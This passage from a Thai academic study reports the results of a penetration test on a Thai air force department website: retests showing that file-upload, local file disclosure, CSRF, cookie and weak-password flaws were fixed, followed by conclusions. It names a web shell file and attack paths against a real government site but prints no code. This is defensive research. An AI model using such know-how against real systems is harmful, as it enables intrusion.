ภาพท่ี 4.5  การเพิ่มซอร์สโคด้เพื่อตรวจสอบประเภทของไฟลท่ี์อพัโหลด 
 

หลงัจากท่ีได้ท าการแก้ไขช่องโหว่ File uploadแลว้ ผูว้ิจยัจึงไดท้  าการตรวจสอบช่อง
โหวด่งักล่าวอีกคร้ังโดยการเขา้ถึงหน้าเพจ “newbroad.php” ซ่ึงเป็นหนา้เพจท่ีผูดู้แลเวบ็ไซตใ์ชใ้น
การอพัโหลดภาพกิจกรรมข้ึนสู่หน้าเวบ็ไซต์ โดยไม่ผา่นการยืนยนัตวัตน พบวา่ไม่สามารถเขา้ถึง
หนา้เพจดงักล่าวได ้รายละเอียดดงัแสดงตามภาพท่ี 4.6 

 

 
 
ภาพท่ี 4.6  การเขา้ถึงหนา้เพจ “newbroad.php” 
 
   หลงัจากท่ีไดท้  าการแกไ้ขช่องโหว ่File upload แลว้ผูว้ิจยัไดท้  าการทดสอบช่องโหวอี่ก
คร้ัง โดยการอพัโหลดไฟล์ “systemCMD.php” ข้ึนไปบนเวบ็เซิร์ฟเวอร์ พบวา่ ไม่สามารถอพัโหลด
ไฟล์ดงักล่าวข้ึนไปได ้โดยระบบไดมี้การแจง้เตือนว่า “ รองรับเฉพาะไฟล์รูปภาพแบบ JPG, GIF, 
PNG เท่านั้น ” รายละเอียดตามภาพ ท่ี 4.7 – 4.8 
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  นอกจากน้ี ผูดู้แลเวบ็ไซตไ์ดเ้พิ่มเทคนิคท่ีใชใ้นการทดสอบผูใ้ชบ้ริการวา่เป็นมนุษยจ์ริงๆ 
ไม่ใช่โปรแกรมอตัโนมติั (bot) (CAPTCHA) รายละเอียดตามภาพ ท่ี 4.7  
 

 
 

ภาพท่ี 4.7  การอพัโหลดไฟล ์“systemCMD.php” 

 

 
 

ภาพท่ี 4.8  ผลลพัธ์ของการอพัโหลดไฟล ์“systemCMD.php” 
 

   4.2.2 ช่องโหว่ Local File Disclosure 
       ผูดู้แลเวบ็ไซตข์องกรมควบคุมการปฏิบติัทางอากาศไดแ้กไ้ขช่องโหว ่Local File 
Disclosure โดยการยกเลิกการใช้ไฟล์ download.php ซ่ึงเป็นไฟล์ท่ีเป็นช่องโหว่ของเวบ็ไซต์ โดย
ช่องโหวน้ี่เป็นการเปิดทางให้แฮกเกอร์สามารถดึงไฟล์อ่ืนๆ ท่ีอยู่ในเวบ็ไซต์มารัน หรือ อ่านไฟล ์
(อาทิเช่น ไฟล์ config หรือไฟล์เก็บ password ต่างๆ) โดยมีสาเหตุมาจากการท่ีผูพ้ฒันาเวบ็ไซต์ไม่
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ค านึงถึงความปลอดภยัในการเขียนสคริป ท าให้แฮกเกอร์สามารถดาวน์โหลดไฟล์ท่ีส าคญัท่ีอยูบ่น
เคร่ืองเซิร์ฟเวอร์มาใชป้ระโยชน์ในการโจมตีเวบ็ไซตไ์ด้ ซ่ึงการดาวน์โหลดไฟล์จากเวบ็ไซตน์ั้นไม่
จ  าเป็นตอ้งผา่นไฟล ์download.php ก็สามารถดาวน์โหลดไฟลไ์ด ้โดยการตั้งค่าการดาวน์โหลดไฟล์
ท่ีอนุญาตให้ผูใ้ช้ดาวน์โหลด ให้เป็นแบบ static คือในขั้นตอนเขียนโค้ดให้อ้างอิงไปท่ีไฟล์ท่ี
อนุญาตให้ดาวน์โหลดโดยตรง โดยไม่ตอ้งผ่านซอสโคด้ของไฟล์ download.php เพื่อเป็นการปิด
ช่องโหว่ของเว็บไซต์ท่ีอนุญาตให้ผูใ้ช้ดาวน์โหลดไฟล์อ่ืนๆ ท่ีไม่ได้รับอนุญาตออกจากเคร่ือง
เซิร์ฟเวอร์ได้ ท าให้ผูไ้ม่ประสงค์ดีน าไฟล์ท่ีส าคญัไปใช้ประโยชน์ในการโจมตีเวบ็ไซต์และเว็บ
เซิร์ฟเวอร์ได ้รายละเอียดของการเขียนโคด้ใหป้ลอดภยั แสดงตามภาพ ท่ี 4.9 

 

 

 
 

ภาพ ท่ี 4.9  การตั้งค่าการดาวน์โหลดไฟลแ์บบ static 
 

       หลงัจากท่ีผูดู้แลเวบ็ไซตข์องกรมควบคุมการปฏิบติัทางอากาศไดด้ าเนินการแกไ้ข
ช่องโหวต่ามแนวทางท่ีผูว้จิยัไดแ้นะน าแลว้ ผูว้ิจยัไดท้  าการทดลองใชค้  าสั่งเดิมในขั้นตอนของบทท่ี 
3 ท าการดาวน์โหลดไฟล์ช่ือ admin.php ซ่ึงเป็นไฟล์ท่ีเคยตรวจพบวา่มีช่องโหวแ่ละผูไ้ม่ประสงค์ดี
สามารถน าข้อมูลของซอร์สโด้ดภายในไฟล์ดังกล่าวไปใช้ประโยชน์ในการโจมตีเว็บไซต์ได ้
หลงัจากท่ีได้ท าการดาวน์โหลดไฟล์ออกมาเพื่ออ่านซอร์สโคด้ของไฟล์ พบว่าไฟล์ดงักล่าวไม่
สามารถน าไปใช้ประโยชน์ได้ เน่ืองจากภายในไฟล์ไม่ปรากฏข้อมูลซอร์สโค้ด แต่ระบบเว็บ
เซิร์ฟเวอร์ตอบข้อความกลับมาภายในไฟล์ admin.php ว่า “ Error 404”  ซ่ึงหมายถึง ไฟล์ท่ีเรา
พยายามจะเขา้ถึงนั้นไม่มีอยูบ่นเซิร์ฟเวอร์ จึงท าให้ไม่สามารถน าซอร์สโคด้ไปใชป้ระโยชน์ในการ
โจมตีเวบ็ไซตแ์ละเวบ็เซิร์ฟเวอร์ของกรมควบคุมการปฏิบติัทางอากาศได ้  รายละเอียดตามภาพท่ี 
4.10 
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ภาพท่ี 4.10  รายละเอียดของไฟล ์admin.php  

  4.2.3  ช่องโหว่ Cross Site Request Forgery และ ช่องโหว่ Apache httpOnly cookie 
disclosure  
     ในส่วนของการแกไ้ขช่องโหว ่Cross Site Request Forgery และ Apache httpOnly 
cookie ซ่ึงเป็นช่องโหวเ่ก่ียวขอ้งกบัเวบ็เซิร์ฟเวอร์ ท่ีตอ้งแกไ้ขโดยผูดู้แลเวบ็เซิร์ฟเวอร์ นั้น ผูว้จิยัได้
ท าหนังสือแจง้ให้แกไ้ขช่องโหว่ท่ีตรวจพบไปยงัหน่วยงานท่ีรับผิดชอบ ให้ด าเนินการแกไ้ขช่อง
โหวเ่รียบร้อยแลว้ ซ่ึงอยูร่ะหวา่งด าเนินการแกไ้ข 
  4.2.4  ช่องโหว่ Database Weak Password 
     ผูดู้แลเว็บไซต์กรมควบคุมการปฏิบัติทางอากาศ ได้ปฏิบัติตามแนวทางการ
ป้องกนัการถูกโจมตีจากผูไ้ม่ประสงค์ดี ตามท่ีผูว้ิจยัให้ค  าแนะน าเรียบร้อยแล้ว โดยการเปล่ียน
รหสัผา่นของฐานขอ้มูลใหมี้ความแขง็แรง ยากต่อเขา้ถึงจากผูท่ี้ไม่ไดรั้บอนุญาต 
 
4.3  ผลลพัธ์ทีไ่ด้จากการแก้ไขช่องโหว่ของเวบ็ไซต์ 

 หลังจากท่ีผูว้ิจยัได้แจ้งไปยงัผูดู้แลเว็บไซต์ของกรมควบคุมการปฏิบัติทางอากาศ 
ให้ด าเนินการแกไ้ขช่องโหวท่ี่ตรวจพบแลว้นั้น ในส่วนของการแกไ้ขช่องโหวท่ี่เก่ียวกบัการพฒันา
เวบ็ไซต์นั้น ผูดู้แลเวบ็ไซต์ไดด้ าเนินการแกไ้ขช่องโหว่ตามแนวทางท่ีผูว้ิจยัแนะน า เรียบร้อยแลว้ 
และผูว้ิจยัไดท้  าการทดสอบอีกคร้ัง พบวา่ ช่องโหวด่งักล่าวสามารถแกไ้ขได ้แสดงให้เห็นวา่ แนว
ทางการแก้ไขช่องโหวท่ี่ผูว้ิจยัแนะน านั้นสามารถน าไปใช้ในการแกไ้ขช่องโหวข่องเวบ็ไซต์กรม
ควบคุมการปฏิบติัทางอากาศไดจ้ริง 

 ทั้ งน้ี ในส่วนของการแก้ไขช่องโหว่ของเว็บเซิร์ฟเวอร์ นั้น ผูว้ิจยัได้ท าหนังสือแจ้ง 
ให้แก้ไขช่องโหว่ท่ีตรวจพบ จ านวน 2 ช่องโหว่ ซ่ึงตรวจพบโดยโปรแกรม Acunetix Web 
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Vulnerability Scanner ไปยงัหน่วยงานท่ีรับผิดชอบ ให้ด าเนินการแกไ้ขช่องโหว่เรียบร้อยแลว้ ซ่ึง
อยูร่ะหวา่งด าเนินการแกไ้ข 

 ดงันั้น จึงสรุปไดว้า่ จากผลการแกไ้ขช่องโหวข่า้งตน้ สามารถแกไ้ขช่องโหวท่ี่ตรวจพบ
ได้แล้วจ านวนทั้งส้ิน 3 ช่องโหว่ และมีจ านวน 2 ช่องโหว่ ท่ีอยู่ระหว่างการด าเนินการแก้ไขจาก
ผูดู้แลระบบเว็บเซิร์ฟเวอร์ของกองทพัอากาศ ข้อมูลดังกล่าวสามารถสรุปได้ดังแสดงตามภาพ 
ท่ี 4.11 

 

 
 

ภาพท่ี 4.11  แผนภูมิจ านวนช่องโหวข่องเวบ็ไซตก่์อนและหลงัจากไดรั้บการแกไ้ข  

 

 

ก่อน ก่อน

ก่อน

หลงั หลงั

หลงั

0

1

2

3

4

สงู กลาง ต ่า

แผนภูมิจ านวนช่องโหว่แยกตามสถานะก่อน - หลงัการแก้ไข

ก่อน

หลงั

จ านวนช่องโหว่

ระดบัความเส่ียง
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บทที ่5 
บทสรุปและข้อเสนอแนะ 

 
สารนิพนธ์น้ีเป็นการศึกษาคน้ควา้ เพื่อหาช่องโหว่หรือจุดอ่อนของเวบ็ไซต์กรณีศึกษา 

เว็บไซต์กรมควบคุมการปฏิบติัทางอากาศ ว่ามีช่องโหว่หรือจุดอ่อนหรือไม่ และช่องโหว่หรือ
จุดอ่อนนั้นมีระดบัความรุนแรงและมีผลกระทบต่อเวบ็ไซตอ์ยา่งไร เพื่อหาแนวทางการป้องกนัการ
ถูกโจมตีจากการใชป้ระโยชน์จากช่องโหวห่รือจุดอ่อนของเวบ็ไซตด์งักล่าว เพื่อใชเ้ป็นแนวทางใน
การพฒันาเวบ็ไซตข์องกรมควบคุมการปฏิบติัทางอากาศใหมี้ความมัน่คง ปลอดภยั  
 
5.1  สรุปผลการวจัิย 

ผูว้ิจยัสามารถเขา้ใจถึงวิธีการหาช่องโหว่ของเวบ็ไซต์โดยการใช้เคร่ืองมือส าเร็จรูปท่ี
แฮกเกอร์นิยมน ามาใชใ้นการหาช่องโหวข่องเวบ็ไซตท่ี์มีใชง้านอยูใ่นปัจจุบนั และเขา้ใจถึงขั้นตอน
วิธีการหาช่องโหว่ของเว็บไซต์โดยวิธีวิธีการทดสอบเจาะระบบโดยผูท้  าการวิจยั รวมถึงวิธีการ
โจมตีโดยการใชป้ระโยชน์จากช่องโหวห่รือจุดอ่อนของเวบ็ไซตก์รมควบคุมการปฏิบติัทางอากาศ
ท่ีถูกตรวจพบโดยผูท้  าการวิจยั รวมทั้งสามารถหาวิธีในการแกไ้ขช่องโหวท่ี่ตรวจพบและสามารถ
หาแนวทางในการป้องกนัไม่ให้เกิดช่องโหว่หรือจุดอ่อนของเวบ็ไซต์กรมควบคุมการปฏิบติัทาง
อากาศได ้ จึงท าใหเ้วบ็ไซตมี์ความมัน่คงปลอดภยัมากข้ึน  

 
5.2  แนวทางการพฒันาต่อในอนาคต 
       5.2.1  ตรวจหาช่องโหว่หรือจุดอ่อนของเวบ็ไซต์ทั้งหมดท่ีอยู่ในเคร่ืองเซิร์ฟเวอร์เดียวกนัเพื่อ
เป็นการป้องกนัทั้งโดเมน 
 5.2.2  ตรวจหาช่องโหว่หรือจุดอ่อนของเว็บเซิร์ฟเวอร์โดยใช้วิธีการทดสอบเจาะระบบ 
(Penetration Testing) และพยายามคน้หาช่องโหวใ่หม่ๆ ทุกวถีิทางท่ีจะก่อให้เกิดภยัอนัตรายต่อเวบ็
เซิร์ฟเวอร์ 
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 5.2.3  ใช้โปรแกรมสแกนช่องโหว่ท่ีทนัสมยั อย่างน้อย 3 โปรแกรมในการหาช่องโหว่ของ
เวบ็ไซตแ์ละเวบ็เซิร์ฟเวอร์ 
 



 
 
 
 
 
 
 
 

บรรณานุกรม 
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